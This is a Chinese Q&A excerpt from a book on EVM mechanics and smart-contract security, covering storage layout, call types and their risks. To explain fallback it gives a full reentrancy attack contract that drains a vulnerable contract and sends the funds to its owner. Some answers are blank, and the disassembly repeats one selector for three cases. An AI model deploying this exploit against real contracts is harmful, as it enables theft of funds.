以下都是來自我的新作《解密EVM機制及合約安全漏洞》裏的內容
電子版PDF下載:https://download.csdn.net/download/softgmx/10800947
1.EVM有寄存器嗎?
答:沒有
2.智能合約地址有私鑰嗎?
答:沒有
3.合約調用是怎樣傳參的?以及返回值又怎樣傳遞的?
答:
值參傳遞:
返回值傳遞:
4.合約最大嵌套調用層數限制是多少?
答:目前定義1024層
5.合約的fallback機制是怎樣實現的?
答:
contract ReentranceExploit {
bool public attackModeIsOn=false;
address public vulnerable_contract;
address public owner;
uint balance;
function ReentranceExploit() public{
owner = msg.sender;
}
function deposit(address _vulnerable_contract) public payable{
balance=this.balance;
vulnerable_contract = _vulnerable_contract ;
// call addToBalance with msg.value ethers
require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));
}
function launch_attack() public{
balance=this.balance;
attackModeIsOn = true;
// call withdrawBalance
// withdrawBalance calls the fallback of ReentranceExploit
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
//require(vulnerable_contract.call(bytes4(sha3("withdrawBalance_fixed_2()"))));
}
function () public payable{
balance=this.balance;
// atackModeIsOn is used to execute the attack only once
// otherwise there is a loop between withdrawBalance and the fallback function
if (attackModeIsOn){
attackModeIsOn = false;
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
}
}
function get_money(){
suicide(owner);
}
}
沒有源代碼的main函數(反彙編出來的):
uint256 main()
{
If(calldatasize<4)
return Fallback();
Switch(byte4(sha3(funDef)))
{
//這都是我們合約裏看到的public方法和public變量
Case “0x2321da32”:
return ReentranceExploit ();
Case “0x43243434”:
return deposit ();
Case “0x45435434”:
return launch_attack ();
Case “0xf342343d”:
return attackModeIsOn ();
Case “0xf342343d”:
return vulnerable_contract ();
Case “0xf342343d”:
return owner ();
Default:
return Fallback(); //這是我們合約裏看到fallback方法
}
}
定義了fallback函數的main函數的實現:
沒有定義fallback函數的main函數的實現:
6.合約的storage變量是怎樣存儲的?又是怎樣索引的?
存儲佈局:
address(addr) = sha3(1)+0
address(addr[0]) = sha3(sha3(1))+0
address(addr[1]) = sha3(sha3(1))+1
address(addr[2]) = sha3(sha3(1))+2
address(funds) = sha3(1)+1
7.合約間調用的方式有幾種?以及它們之間區別是什麼?
答:
調用方式 |
Caller |
存儲上下文 |
轉賬功能 |
安全問題 |
call |
合約B |
合約C |
可以轉賬 |
可能發生重入(轉賬方法call.value()) |
staticcall |
合約B |
合約C |
不能 |
因爲不能改變合約狀態,所以無影響 |
callcode |
合約B |
合約B |
繼承了轉給B的value(隱含意義,在合約C的代碼中可以用call調用轉賬) |
可能被利用修改合約B的關鍵變量,如:owner |
delegatecall |
用戶A |
合約B |
不能 |
可以被利用繞過合約權限認證 |
8.Stack,memory,storage最小對齊字節是什麼?
答:
stack: 32字節對齊;
memory:1字節對齊;
storage: 32字節對齊(但可以把兩個變量拼接成一個小於32字節的變量)